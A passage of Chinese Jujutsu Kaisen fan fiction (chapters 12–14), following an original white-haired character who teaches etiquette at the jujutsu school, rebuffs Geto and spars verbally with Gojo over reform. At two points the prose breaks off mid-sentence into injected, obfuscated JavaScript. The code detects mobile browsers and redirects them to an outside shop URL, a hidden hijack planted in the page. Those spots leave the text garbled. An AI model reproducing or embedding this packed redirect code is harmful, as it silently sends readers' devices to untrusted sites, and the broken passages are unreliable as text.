压低了些,“那家医院三年前发生过一场大火,烧死了十七个病人。而火灾原因,是某位总监部高层的亲属违规操作呢?” 教室里死寂。 “那么问题来了——这个咒灵真的只有二级吗?保全建筑是为了保护证据,还是为了掩盖什么?而你们,”绯月畏的视线扫过三人稚嫩的脸,“是去祓除咒灵的英雄,还是……被人利用的清洁工?” 熊猫张了张嘴,没发出声音。 狗卷棘拉高了衣领。 真希握紧了拳头,指节发白。 “这还只是最温和的假设。”绯月畏合上教案,身体前倾,“更糟糕的情况是——有些任务,目标根本不是咒灵。” 她停顿,让这句话在空气中沉淀。 “而是你们。” 角落里,五条悟不知何时已转过身,背靠着书架,脸上没了笑意。 “窗的成员大多咒力低微,介于普通人和咒术师之间。他们能看见咒灵,但无力对抗。所以这个位置很微妙——既不属于普通人世界,也不被咒术界完全接纳。”绯月畏的声音很平静,像在陈述天气,“而这样的人,最容易成为……工具。” “工具?”真希哑声问。 “传递信息的工具,误导方向的工具,甚至——”绯月畏顿了顿,“把咒术师引向陷阱的工具。” 她看向三个学生:“所以第一课的第一节内容,不是教你们怎么说话,而是教你们怎么听。怎么从窗成员的话里,分辨哪些是真实情报,哪些是刻意引导,哪些是……死亡预告。” 熊猫举起爪子:“那个……老师,您说得太吓人了……” “吓人?”绯月畏歪了歪头,“那说点不吓人的。你们知道为什么咒术高专的学生死亡率,远高于普通高中吗?” 没人回答。 “因为普通高中的学生,不会被派去和怪物拼命。”绯月畏说,“而你们会。更讽刺的是,派你们去的人,可能根本不在乎你们能不能回来。” 她站起身,走到窗边。月光洒进来,给她白色的轮廓镀上一层冷银。 “咒术界有一句话,‘咒术师没有无悔的死亡’。”她背对着学生,声音轻得像叹息,“但我觉得,更准确的说法应该是——‘咒术师的死亡,大多毫无意义’。” 教室里安静得能听见呼吸声。 良久,真希开口:“那……我们该怎么办?” 绯月畏转身。 “学习。”她说,“学生的本职工作就是学习。学习一切能学的东西。战斗技巧让你们活下来,文化知识让你们不变成只知道打架的野兽。而最重要的是——” 她走回讲台,重新坐下。 “学会思考。思考任务背后的逻辑,思考情报里的漏洞,思考那些‘理所当然’背后,藏着什么。” 她翻开教案第二页。 “比如现在,我要教你们的第一句‘优雅表达’是——”她顿了顿,念出上面的字,“‘感谢您提供的情报,但我注意到其中有些细节可能需要进一步确认。请问原始观测记录可以查看吗?’” 三个学生愣住。 “这句话的潜台词是,”绯月畏解释道,“‘我不完全信任你给的信息,把原始数据交出来。’但说得足够礼貌,让对方无法当场翻脸。” 熊猫眨眨眼:“好……好复杂。” “咒术界的对话,大多如此。”绯月畏说,“表面客气,暗藏机锋。你们要学的,就是怎么在不说脏话的情况下,让对方明白——你不好骗。” 她看向角落里的五条悟。 “这一点,你们五条老师倒是无师自通。” 五条悟咧嘴一笑:“谢谢夸奖——”尾音荡漾。 “没夸你。”绯月畏收回视线,“第二句:‘鉴于任务的特殊性,我建议增加一名辅助监督同行,以确保信息传递的准确性。’” 狗卷棘举手:“鲑鱼?”(什么意思?) “意思是,‘我一个人去不放心,得有个见证人。’”绯月畏说,“如果对方拒绝,那这个任务八成有问题。” 她一连念了十几句“优雅表达”,每句都附带直白的翻译和用法解析。三个学生埋头猛记,笔记本上很快写满了一页。 八点二十五分。 绯月畏合上教案。 “第一课到此为止。”她说,“作业是:从这些句子里选三句,设想一个任务场景,写出完整对话。要求——不能让对方当场翻脸,但必须达到你的目的。” 三个学生看着笔记本上密密麻麻的字,集体沉默。 这比祓除一级咒灵难多了。 “最后说一句。”绯月畏站起身,收拾桌上的书,“你们五条老师想改变咒术界。这个想法很好,但光靠拳头不够。” 她看向五条悟。 “你得教会他们怎么用脑子。怎么在规则之内,把规则玩出花来。” 五条悟笑了:“那你教啊。” “我在教。”绯月畏抱起书,走向门口,“但能学多少,看他们自己。” 她拉开门,离开教室。 脚步声渐远。 教室里,三个学生看着笔记本,久久没说话。 良久,熊猫抬头:“那个……你们听懂了多少?” 狗卷棘竖起三根手指,想了想,又弯下一根。 真希盯着本子上的字,喃喃道:“她说的那些……都是真的吗?” 角落里,五条悟伸了个懒腰。 “真的假的,重要吗?”他走到讲台前,拿起绯月畏留下的教案,翻了翻,“重要的是,她给了你们一套工具。一套在咒术界活下去的工具。” 他合上教案,笑容里多了些复杂的东西。 “好好学吧,小朋友们……这可比我的课实用多了。” 他晃出教室,留下三个陷入沉思的学生。 窗外,月光清冷。 樱花在夜风中,一片片落下。 12. 抗压能力 自一年级在礼仪课上智商被按在地上摩擦之后,二年级出任务的星绮罗罗和秤今次喜提“旷课”记录两次,不仅收到了来自校长转交的课堂作业,还得到了期末补考和五条老师跳华尔兹的噩耗。 盖因绯月老师的礼仪课——全年级一起上。 在日常结束课程回到宿舍时,看到绯月畏没关门的房门时,五条悟没觉得有问题,人不在的时候房门一般都会被她打开通风。但是床头柜上放着钱包和正在充电的手机,浴室也没有任何动静。 五条悟托着下巴沉思了一会儿,绯月畏的礼仪课一周只有两节,分别在周一和周四,今天才周三,按照绯月畏宅不死就死宅的性格,无事是不会出门的,但是出门忘了带手机却很正常! 有种不太好的预感。 下午,咒术高专的体术训练场。 五条悟正盘腿坐在场边,嘴里叼着根棒棒糖,看着场中央熊猫和狗卷棘对练。禅院真希扛着长棍站在他旁边,眉头紧锁,显然对某个无良教师的“指导”方式颇有微词。 “不对不对——熊猫你的重心太靠前了,咒灵扑过来你第一个倒!棘你退什么?咒言师不是让你当后排法师用的!” 手机铃声突兀地响起。 五条悟摸出手机,看到屏幕上显示的“警视厅”三个字时,眉毛挑得老高。他按下接听键,用那种夸张到欠揍的语调开口: “摩西摩西~这里是宇宙无敌帅气最强的五条老师,请问是又要我去保释哪位迷路的小朋友吗?” 电话那头沉默了两秒。 然后传来一个冷静得过分、且绝不该出现在警视厅电话里的女声: “五条悟。” 五条悟嘴里的棒棒糖“咔嚓”一声碎了。 “……绯月老师?”他坐直身体,声音里的戏谑褪去大半,“你怎么用警视厅的电话打过来?又迷路了?还是又把哪个不长眼的揍进医院了?” 训练场上的三人同时停下动作,齐刷刷看过来。 “不是。”绯月畏的声音透过听筒传来,带着些微电流杂音,“我在XX中学附近。你们咒术界那个黑色的结界——叫‘帐’对吧?” “对。”五条悟站起身,“你遇到了?” “嗯。不过这个咒灵的帐有点奇怪。”绯月畏停顿了一下,似乎在斟酌用词,“这个‘帐’……有很强的‘情感残留’。像怨念,但又不太一样。更……黏稠。” 五条悟的脸色变了。 “咒灵展开的‘帐’不一定是帐,也可能是领域。”他语速加快,“你在原地别动,我马上——” “不用。”绯月畏打断他,“已经散了。但我看到有个学生被卷进去了,现在应该还在教学楼里。要管吗?” 五条悟已经迈开脚步:“地址发我。不,你直接共享定位——” 电话挂断了。 五条悟盯着黑掉的屏幕看了两秒,啧了一声,转身就往训练场外走。 “五条老师!”真希叫住他,“发生什么事了?绯月老师遇到麻烦了?” “麻烦?”五条悟回头,嘴角咧开一个意味不明的笑,“是她遇到了‘别人的麻烦’。至于她自己……” 他顿了顿,笑容加深。 “我比较担心那个展开领域的家伙。” 话音未落,人已消失。 留下三个学生面面相觑。 “刚才……”熊猫迟疑地说,“悟是不是说……‘领域’?” 狗卷棘拉下衣领,露出下半张脸,表情严肃:“鲑鱼子。” 真的出大事了。 —— 与此同时,XX中学对面的便利店。 绯月畏把手机还给还在昏睡的某倒霉接线员,顺手删掉通话记录,像拂去一片尘埃般自然。没有惊动任何人,她自然地走出警视厅的侧门,身影融入东京午后刺眼的阳光里——然后在一处建筑的阴影下重新浮现,仿佛只是光线的一次错觉。 她站在中学门口,墨镜后的目光落在教学楼三层某个窗户上。 那里残留着强烈的咒力波动——漆黑、粘稠、充满了孩童般纯粹的执念和怨怼。不是普通的咒灵。更不是她认知中的任何存在。 有趣。 但也仅止于“有趣”。她没有插手的欲望,更没有“拯救”谁的责任感。就在她准备转身离开时—— “小姐!您的书!” 便利店收银员追了出来,手里挥舞着一本棕色皮封的书。 绯月畏脚步一顿。 ……啊。忘了。 她走回去接过书,道了声谢。收银员是个二十出头的年轻人,脸红红地挠着头:“那个……您刚才买的水还没拿……” 绯月畏这才想起,自己进店本来是要买水的。 于是她又走进便利店,从冷柜里拿了瓶苏打水。走到收银台时,身后传来熟悉的、拖长调的嗓音: “呀——这不是我们迷路的绯月老师吗?又把自己弄丢了?” 五条悟不知何时出现在她身后,白发的发梢还沾着瞬移未散的咒力残光。他弯腰凑近,墨镜滑到鼻尖,苍蓝的眼睛透过镜片上方看着她,笑得像只恶作剧得逞的猫。 “这次是忘带钱包,还是忘带脑子?” 绯月畏没理他,把水瓶放在收银台上,又从旁边的货架拿了块黑巧克力。指尖在台面上轻轻一点,示意结账。 五条悟动作更快。他不知从哪儿摸出一把零钱,“啪”地拍在台面上,顺手捞走她手里的水瓶,“呲啦”拧开,仰头灌了一大口。 “哈——”他舒爽地叹气,然后把只剩半瓶的水塞回她手里,“谢啦!” 收银员小哥看着两人如出一辙的白发、墨镜、以及那种“凡人勿近”的气场,默默把“两位是兄妹吗”的疑问咽了回去,低头结账。 走出便利店,五条悟拎着刚买的一大袋零食,另一只手从裤兜里摸出两个手机和两个钱包。 “喏。”他把绯月畏的那份递过去,“下次出门记得带全。虽然你大概也用不上钱——毕竟刷脸就能骗到吃的?” 最后一句是看着便利店橱窗说的。橱窗玻璃倒映出两人的身影,一个高挑清冷,一个散漫不羁,却奇妙地和谐。 绯月畏接过手机和钱包,揣进风衣口袋,慢条斯理地撕开巧克力包装,掰了一小块送进嘴里。 然后皱了皱眉。 太甜。劣质可可脂的味道。 她把剩下的巧克力重新包好,顺手塞进五条悟拎着的零食袋里。 “难吃。”她评价道。 “诶?我尝尝——”五条悟摸出巧克力,掰了一大块扔进嘴里,嚼了两下,“还行啊?明明是你口味太刁了。” 他没再纠结巧克力,抬头看向对面的学校,墨镜后的六眼微微泛光。 “所以,领域是在哪儿展开的?” “自己看。”绯月畏走到路旁的树荫下,背靠着树干,姿态慵懒得像只晒太阳的猫——如果忽略她微微蹙起的眉心和略显苍白的脸色的话。 五条悟看了她一眼,没再多问。六眼全开,咒力的残秽在他视野中如同泼洒的颜料般清晰—— 找到了。 在三楼,西侧的教室。领域已经解除,但残留的咒力强得惊人。更重要的是…… “有两个咒力源。”五条悟低声说,“一个很弱,是人类。另一个……特级。” 他转身,看向树荫下的绯月畏。 “你刚才说,有学生被卷进去了?” “嗯。”绯月畏点头,“瘦瘦高高的男生,黑色制服,看起来像你们高专的学生——但更小一点,十五六岁?” 五条悟的表情变了。 “制服什么颜色?” “……深蓝?藏青?”绯月畏歪了歪头,“记不清了。我对颜色不敏感。” 但五条悟已经明白了。深蓝色制服——那是京都校的颜色。 “我去看看。”他说,“你——” “我回高专。”绯月畏打断他,“刚买了新书。” 她转身,沿着树荫朝地铁站方向走去。白色风衣的下摆在午后的风里轻轻扬起,像一片误入人间的云。 五条悟看着她的背影,忽然开口: “对了,刚才来的路上,我感觉到一股很熟悉的咒力波动——在附近。” 绯月畏脚步未停。 “哦。”她说,“你那位‘挚友’?” “你遇到了?”五条悟的声音沉了下来。 “嗯。在咖啡店聊了两句。”绯月畏回头,墨镜后的唇角勾起一丝极淡的弧度,“他请我喝了杯咖啡。虽然我没喝。” 五条悟沉默了两秒。 “他说了什么?” “没什么。”绯月畏转回头,声音随风飘来,“就问了下我是谁,从哪里来,要不要加入他的‘大义’。” “……你怎么回他的?” “我说,”绯月畏顿了顿,语气轻快得像在讨论天气,“‘你的大义听起来像小孩子过家家。而且你身上味道太重,离我远点。’” 五条悟愣了一下,随即爆发出一阵大笑。 笑得弯下腰,笑得眼泪都从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485860|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨镜边缘溢出来。 “不愧是你——”他边笑边抹眼角,“那他什么反应?” “脸绿了。”绯月畏说,“然后付了咖啡钱就走了。哦,还把我的蛋糕钱也付了。” 她抬起手,随意地挥了挥。 “走了。学校的事你处理。记得带伴手礼——我要银座那家新开的和果子。” 身影没入人群。 五条悟站在原地,笑了好一会儿才直起身。他望向学校的方向,笑容渐渐收敛,取而代之的是一种复杂的、混合着怀念与冰冷的神情。 “杰……”他低声自语,“你还是老样子啊。” 然后他转身,朝学校走去。 苍蓝的咒力在指尖凝聚。 —— 一小时后,高专礼仪教室。 绯月畏坐在窗边的椅子上,手里捧着本厚重的古籍。夕阳从西窗斜射进来,在她白色的长发上镀了一层金边。 门被推开。 五条悟走进来,脸上没什么表情,但周身的气压低得吓人。他把手里拎着的纸袋放在茶几上——是和果子的包装袋——然后一屁股坐在沙发上,长腿搭上茶几,闭上眼睛。 “处理完了?”绯月畏头也不抬地问。 “嗯。”五条悟的声音有些闷,“是个特级过怨咒灵。附在一个学生身上。” “活人?” “活人。”五条悟顿了顿,“乙骨忧太,十五岁,特级——被特级咒灵附身的特级。” 绯月畏翻过一页书。 “所以呢?你打算怎么处理?” “带回高专。”五条悟睁开眼睛,苍蓝的眼眸里没有平时那种玩世不恭的光,只有冰冷的决断,“他是咒术师,不是咒灵。不能交给总监部那些老家伙。” “你会被弹劾的。”绯月畏平静地说,“特级过怨咒灵,按照咒术界的规定,应该立刻祓除。你保下他,等于公开和总监部撕破脸。” “那就撕。”五条悟冷笑,“反正早就想撕了。” 房间里安静了几秒。 只有书页翻动的声音。 良久,绯月畏合上书,站起身,走到茶几旁,从纸袋里拿出一个精致的和果子。她拆开包装,咬了一小口。 豆沙馅,微甜,有淡淡的茶香。 “还不错。”她评价道。 五条悟看向她:“你不反对?” “我为什么要反对?”绯月畏歪了歪头,墨镜后的目光平静无波,“那是你的事。你想保护学生,你想改革咒术界,你想跟你那些‘老朋友’对着干——都跟我无关。” 她顿了顿,又咬了一口和果子。 “不过作为临时盟友,我建议你做好心理准备。”她说,“你今天保下的不是一个学生,是一颗定时炸弹。总监部不会善罢甘休,你那两位‘老朋友’——夏油杰和总监部——都会把这件事当做突破口。” 五条悟笑了。 那笑容里带着他一贯的、属于“最强”的狂妄和自信。 “让他们来。”他说,“我等着。” 绯月畏没接话。她吃完和果子,擦干净手指,重新坐回窗边的椅子,拿起书。 夕阳沉入远山。 夜色渐浓。 教室里没有开灯,只有窗外透进来的、城市不灭的灯火,映照着两个坐在黑暗中的人。 一个在看书。 一个在思考。 像两尊静默的雕塑,等待着即将到来的风暴。 —— 而此时,东京某处高级公寓。 夏油杰站在落地窗前,手里端着一杯清酒,望着窗外璀璨的夜景。 他想起下午在咖啡店遇到的那个女人。 白发,墨镜,一身白得像雪的装束。气质冷冽得像高山上的冰雪,看人的眼神像在看蝼蚁。 和五条悟就像是镜面的存在,区别只在于性格和性别。 更诡异的是,他完全感觉不到她身上的咒力。 不是隐藏,不是收敛,是根本不存在——就像那年他们遇到的那个天与咒缚,甚至咒术界里没有任何与这个人有关的消息。直觉却告诉他,这是个很危险的特级。 而五条悟把她留在身边,甚至给了她五条家长老的位置。 “绯月畏……”夏油杰轻声念出这个名字,唇角勾起一丝玩味的笑。 “有意思。” 他仰头,将杯中酒一饮而尽。 玻璃杯倒映出他幽深的眼眸,里面闪烁着某种危险的光。 “看来,计划要稍微调整一下了。 13. 退学申请 春末的最后一场雨在黄昏前止住了。屋檐残留的水滴断续砸在石阶上,声音沉闷,像某种渐行渐远的节奏。 五条悟结束任务返回高专时,已近午夜。礼仪教室的灯还亮着,光从门缝里漏出来,在昏暗的走廊上切出一线暖黄。他敲了两下门,没等回应便推门进去。 绯月畏坐在长桌后,被堆积如山的书籍环绕。桌面上摊开的不是咒术文献,而是《日本战后经济结构变迁》《基层行政组织法》这类蒙尘的旧书,边缘都泛着时光浸染的微黄。 “还在恶补常识?”五条悟把便利店的塑料袋搁在书堆旁的空隙,塑料摩擦声在寂静中格外清晰。 绯月畏没有抬头,指尖划过书页上关于“町内会自治传统”的小字注解。“如果你所谓的‘常识’,是指人类用一千年也没理顺的利益纠葛,”她的声音平淡无波,“那确实需要恶补。” 五条悟笑了笑,拆开蛋糕盒的丝带。“看出什么门道了?” “看出你们把中世纪的行会制度套了层现代行政的皮。”她终于抬眼,墨镜后的视线落在他脸上,“长老议事、家族割据、任务指派像领主征召——连伤亡抚恤都参考江户时代的‘扶持米’标准。五条悟,你们咒术界不是落后,是把自己活成了博物馆标本。” “哇,犀利的评价。”他挖了块蛋糕递过去,奶油堆得像座小雪山,“不过标本也有标本的好处,至少结构稳定。” “稳定?”绯月畏接过叉子,却没碰蛋糕,“你指的是‘每年非正常死亡率超过百分之十五’的那种稳定?” 空气凝滞了一瞬。 五条悟嘴角仍噙着笑,眼神却沉了下去。“哪来的数据?” “你们自己归档的报告。”绯月畏从书堆底层抽出一本装订粗糙的册子,封面印着《总监部年度汇总(非公开版)》,“去年执行任务的一至三级咒术师共二百七十三人,确认死亡四十一人,永久伤残二十八人。伤亡率百分之二十五点三。顺便一提,同期‘窗’的成员流动率是百分之四十——不是离职,是失踪或确认死亡。” 她把册子推过去。 “总监部对此的批示是:‘维持现行任务分配机制,建议加强新人实战训练’。”她顿了顿,“五条悟,你们在系统性消耗自己人。” 五条悟没有接册子。他倚着桌沿,绷带下的视线投向窗外渐沉的夜色。 “……我知道。”许久后,他说。 “然后?” “然后我每年都在改。”他转回头,语气轻松得像在讨论蛋糕口味,“增加任务补贴,强制轮休,给辅助监督配发改良的防护咒具——虽然老橘子们每次都扯皮预算不够。” “但你从没动过最根本的东西。”绯月畏放下叉子,“任务指派权在总监部,伤亡认定权在总监部,连抚恤金发放都需要三个部门盖章。你增加再多补贴,也不过是在漏水的桶上多缠几圈胶带。” 她站起身,白衬衫在昏黄灯光下像一道醒目的划痕。 “你想改革,但你的‘改革’永远在既定的框里打转。为什么?”她走到窗边,背对着他,“因为你比谁都清楚,一旦掀翻桌子,最先流血的可能不是敌人,而是你身后那些连自保都勉强的人。” 五条悟沉默地望着她的背影。月光从窗外淌入,勾勒出她过于笔直的肩线——那不是紧绷,而是一种经年累月、已融入骨血的仪态,像古画中的贵族,连疲惫都带着锋利的棱角。 “所以,”他忽然开口,声音里那层轻浮的糖衣剥落了,“如果是你,会怎么做?” 绯月畏没有回头。 “我没有为人师表的爱好。”她收回视线,又看了过来,“让你找的人,有消息了?” 五条悟默默从袋子里取出一只大福放到她面前,心疼都写在了脸上。“没有……不过这个——毛豆生奶油口味,我最喜欢的一款,就剩这一个了。估计你今天也没吃东西,勉为其难接济你一下?” “二年级的学生虽然不太好管,听说作业倒是交了?” 绯月畏合上书。“好奇就自己看。” 五条悟:“你没看?” 绯月畏头也不抬:“没有看的必要。” 她拉过大福和蛋糕,用叉子切下一小块蛋糕,顺手将一份文件推向桌沿。那是两封退学申请,署名处写着「秤金次」「星绮罗罗」——字迹潦草,带着近乎挑衅的力道。 “那俩刺头,终于还是交了。”五条悟靠在书架上,没有走近,“我以为他们至少会撑到明年。” 绯月畏摘下墨镜,捏了捏鼻梁。窗外阴云低垂,教室灯光在她脸上投下浅淡的阴影。“撑?从进入咒术界以来他们撑了三年。三年里,他们是任务死亡率最高的批次,三次任务报告被篡改导致评级下降,上个月星绮罗罗的家人被诅咒师骚扰时,‘窗’的支援迟到了四十七分钟——而总监部的答复是‘证据不足,无法认定为针对性报复’。” 她把文件翻到最后一页,那里用红笔批着一行小字:「申请驳回,依规应予留校察看处分。」 “五条悟,”她放下叉子,抬起头看向他,“我不是高专的老师,也真的没有为人师表的爱好。不要把人类的道德观念安在我身上。我会认真教那几个认真上课的一年级,因为这是我们交易的一部分。不要得寸进尺。” 五条悟沉默了几秒,走进教室,拉过椅子在她对面坐下。雨水的气味从窗缝渗入,混着旧书纸张特有的霉味。 “那只老鼠,”他开口,声音比平时低沉,“还是没消息。” “意料之中。”绯月畏重新戴上墨镜,“能在你和整个咒术界眼皮底下藏千年的人,不会因为一次搜查就露出尾巴。你让五条家找的,是一个不存在于任何记录中的‘幽灵’。” “所以你从一开始就不抱希望?” “我从不把希望寄托在别人身上。”她向后靠进椅背,十指在身前交叠,“倒是你,五条悟——学生一个接一个离开,高层一年比一年顽固,那只老鼠在暗处织网,而你还在用‘增加补贴’、‘改良咒具’这种隔靴搔痒的方式拖延时间。” 她顿了顿。 “你在等什么?等老橘子们自然死亡?等那只老鼠自己跳出来?还是等这个系统烂到所有人都忍无可忍,你才好名正言顺地推倒重来?” 五条悟没有回答。 他盯着桌上那两封退学申请,看了很久。默默从便利店口袋里又取出一盒寿司放在桌上,推向绯月畏。“绯月老师,尝尝?” 绯月畏回头看了一眼:“咸的?” 五条悟挖了一大块蛋糕,含糊不清地说:“甜咸搭配,才是美味!” 绯月畏不置可否,只是将那只软塌塌的大福推开,从寿司盒里拣了最近的一块,没有夹米饭。 一小块蛋糕,一块寿司。这就是绯月畏今天一整天吃的东西了。 收拾好垃圾,余光瞥见绯月畏书堆下压着的备课本,五条悟忽然笑了。 笑得有些疲惫,但眼睛很亮。 “绯月老师,”他说,“你教礼仪课的时候,教了他们怎么在咒术界活下去——看穿规则漏洞,利用利益交换,必要时以退为进。那些东西,我教不了。我只会教他们怎么变强,怎么把咒灵揍得不敢再来。” 他站起来,走到窗前。雨水在玻璃上划出蜿蜒的水痕,像无数道未写完的咒文。 “但我最近在想,光会打架好像不够。”他背对着她,声音很轻,“得有人会算账,会看账本哪里被做了手脚,会揪出那个在背后改数字的人——还得有人能在我动手掀桌子的时候,告诉我先从哪张桌子掀,才不会砸到不该砸的人。” 他转过身,苍蓝的六眼隔着绷带看向她。 “所以,要不要来当我的幕僚?”他说得直接,像在陈述一个物理定律,“不用战斗,不用见血,就帮我看清楚那些我懒得看的账本,告诉我哪些老橘子其实还能用,哪些早就该进棺材——然后,在我需要的时候,给我一个不会把所有人都炸飞的方案。” 教室安静得能听见尘埃落定的声音。 绯月畏慢慢坐直身体,墨镜后的视线落在他脸上,像在鉴定一件突然被捧到面前的古董。 “五条悟,”她说,“你身上有多少条线,你自己数过吗?” “……什么?” “五条家是一条,高专是一条,你的学生是一条,死去的同窗是一条,活着的敌人是一条——还有总监部、政府、普通人社会、甚至那只老鼠。每一条都绑在你身上。”她抬起手,指尖在空中虚划,“你想改革,就得拽着这些线往前走。但线会缠在一起,会打结,会勒进肉里。而你现在,想让我帮你一起拽。” 她放下手。 “抱歉,我不做亏本买卖。” 五条悟眨了眨眼:“条件可以谈嘛。” “你拿什么谈?”绯月畏问,“权力?我不需要。金钱?对我没用。力量?你确实很强,但还没强到能让我心动的地步。” 她站起身,白衬衫在灯光下白得晃眼。 “你站在山顶,觉得所有东西都在脚下。但别忘了,山顶的风最大,也最冷。”她走到门口,拉开门,“在你找到能真正打动我的筹码之前,五条悟——我们的契约,仅限于最初约定的内容。” 教室门缓缓合拢,室内又只剩下绯月畏一人。 余光瞥见被留在书桌上的一瓶苏打水,直到手中书页合拢,她才慢吞吞地伸出手,把水拿了过来。入口是鲜甜的草莓味,带着一丝酸涩。绯月畏的眉头拧了起来。 好甜…… —— 五条悟走在昏暗的走廊里,指尖夹着那两封退学申请。 他走出教学楼,抬头看了一眼暗沉的天空。撤去无下限的瞬间,错身而过的风突然变得凛冽起来。 他摸出手机,点亮屏幕。 锁屏壁纸是昨天拍的彩虹,横跨整个咒高上空,绚丽得不真实。下方弹出一条推送新闻:「奈良春日大社夜间灯会最终日,百年一度特别烟火大会」。 他盯着那条消息,拇指悬在屏幕上方。 过了几秒,他按下了拨号键。 鸡鸣三声,礼仪教室的灯终于熄灭。 绯月畏披着一身夜色与露水回到宿舍,看见门缝里透出的灯光,微微一怔。拉开门,五条悟已经回了自己的卧室,只有客厅靠门的一盏灯还亮着。 彼时,窗外天光已微微展露亮色。 —— 黄昏时分,雨终于停了。天际扯出一道巨大的虹。 五条悟站在教学楼顶拍完最后一张全景,落地时,看见绯月畏靠在客厅茶几旁,闭着眼,呼吸轻得仿佛不存在。 他凑近的瞬间,那双眼睛睁开了。 瞳孔里没有初醒的朦胧,只有一片冻湖般的清明。 “没睡?”他把便当放在茶几上,塑料盒底发出轻响。 “在思考。”绯月畏没有睁眼,“思考为什么有人明明被拒绝了,还能厚着脸皮再凑过来。” “因为我是最强嘛,最强要有最强的韧性。”五条悟在她旁边坐下,两人之间隔着一臂距离——恰好是彼此术式能瞬间展开的临界线,“而且我觉得,早上的谈判方式有问题。” “哦?” “太正式了,像在谈生意。”他拆开便当盒,酱烧鸡肉的香气弥漫开来,“但其实我不是在找生意伙伴,是在找……嗯,怎么说呢,找个人一起看场烟火?” 绯月畏终于睁开眼,侧过头看他。 五条悟把手机屏幕转向她。灯会的宣传页面上,人群笑得见牙不见眼,烟火在夜空炸成巨大的花束,连像素都透着廉价的热闹。 “你书看完了吧?”五条悟胸有成竹,“不去买新的吗?” 绯月畏沉默了片刻。她看向五条悟:“书在哪?” 五条悟收回手机:“虽然是赏灯看烟花的游园会,但是往年这种热闹的集市上,都会有商人把积攒的书籍拿出来减价售卖。很多都是书店已经下架或者绝版的旧书。” 绯月畏:“你确定?” “灯会。”五条悟把热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“五条悟,你是个赌徒。”她站起身,白衬衫在昏暗室内白得刺眼。 “而赌徒最可悲的一点,就是总以为自己输得起。” —— 伊地知洁高把车停在咒高门口时,额头上还有没擦净的冷汗。他刚结束一场与总监部文书课的拉锯战——关于“特级顾问绯月畏的职务范围是否包含参与一级以下任务评估”——推开车门,就看见五条悟站在路灯下,旁边是那道雪白的身影。 “五、五条先生!”他急忙鞠躬,“您要的车,还有,家入小姐已经先一步出发了,她会在鸟居入口等——” “知道啦知道啦。”五条悟摆手,拉开车后门,做了个夸张的“请”的手势,“绯月老师,专车接送哦。” 绯月畏看了他一眼,弯腰坐进车内。五条悟跟着挤进来,砰地关上门。 “伊地知,奈良灯会。快一点哦~去晚了就揍你!” “是、是!” 车驶出山路,汇入东京晚间拥堵的车流。伊地知从后视镜偷瞄了一眼——绯月畏靠在座椅上闭目养神,五条悟则掏出手机,手指飞快地敲打着什么。两人的距离保持在恰好不会触碰彼此的界限,空气里弥漫着一种微妙的、近乎对峙的安静。 直到五条悟忽然开口。 “对了,你上次说想找关于‘结界术起源’的资料。”他没抬头,继续戳着屏幕,“我让家里人在忌库里翻了翻,找到几本江户时代阴阳寮的残卷,过几天送到高专。” 绯月畏睁开眼。 “条件?” “哎呀,这么见外。”五条悟终于转过脸,笑容灿烂得刺眼,“就当是盟友之间的友好馈赠嘛。” “我不收没有标价的礼物。”她声音平静,“尤其是来自最强咒术师的礼物。” 车内安静了几秒。 五条悟的笑容淡了些,但没消失。“那……陪我逛完今晚的灯会,就算付款了,怎么样?”他歪着头,“很划算吧?几本孤本残卷换你三小时时间。” 绯月畏看着他,墨镜后的视线像在评估一件拍品的真伪。 “你在试探什么。”不是疑问。 “我在学习啊。”五条悟靠回座椅,望向窗外流淌的城市灯火,“学习怎么和一个活了不知道多少年的古老存在打交道。总不能一直用‘束缚’和‘契约’说话吧?那多没意思。” 他顿了顿,声音轻下来。 “而且我觉得,你其实也挺好奇的。” “好奇什么。” “好奇这个被你评价为‘中世纪行会套了现代行政的皮’的世界,为什么还能运转下去。”他转回头,苍蓝的六眼隔着绷带也能感受到那股穿透性的注视,“好奇那些明明脆弱得要死、连一只三级咒灵都可能要了他们命的人类,为什么还能笑,还能为了看一场烟火挤几个小时电车。” 车驶入高速公路,窗外的灯火连成流动的光河。 绯月畏沉默了很久。 然后她说:“你知道吗,在我族最古老的训诫里,有一条是‘勿久视篝火’。” 五条悟挑起眉。 “因为火光温暖,会让人忘记自己是什么东西。”她望向窗外,“也因为盯着看久了,眼睛会适应那种亮度。等到火光熄灭,黑暗会显得比原本更深。” 她转回头,墨镜上映出五条悟模糊的倒影。 “你让我看的,就是一堆篝火,五条悟。” “然后呢?” “然后我在想,”她说,“你是真的相信这堆火能一直烧下去,还是……只是想找个人,在你不得不去添柴的时候,帮忙看着别让它灭了。” 五条悟没有回答。 他只是笑,笑容里有一种近乎坦然的狡猾。 “谁知道呢。”他说,“也许两者都有?” 14. 奈良灯会Ⅰ 灯会入口的鸟居被无数纸灯笼映成暖金色,光晕在石板路上淌成一条摇曳的河。家入硝子靠在朱红的柱子上,指间夹着未点燃的香烟,百无聊赖地数着经过的人头——第三百二十七个。 “太慢了。”她抬眼看向终于挤出人群的两人,语气平淡得像在陈述解剖结果,“我在这里看了四批旅游团过去。” “路上堵车嘛——”五条悟拉长音调,目光却已经飘向鸟居后方那片光的海洋。千百盏灯笼沿着参道蜿蜒而上,摊贩的吆喝声、太鼓的节奏、人群的笑语混成一片温热的喧嚣,空气里浮动着甜腻的糖浆味和烤物的焦香。 绯月畏在他身侧停下脚步。 墨镜后的视线缓缓扫过这片景象。过于密集的生物信号——心跳、呼吸、汗液蒸腾的热度、咀嚼食物时唾液腺的活跃——像一场混乱的交响乐撞进她的感知。人类聚集时散发的那种“生”的气息,浓烈得几乎具象化。 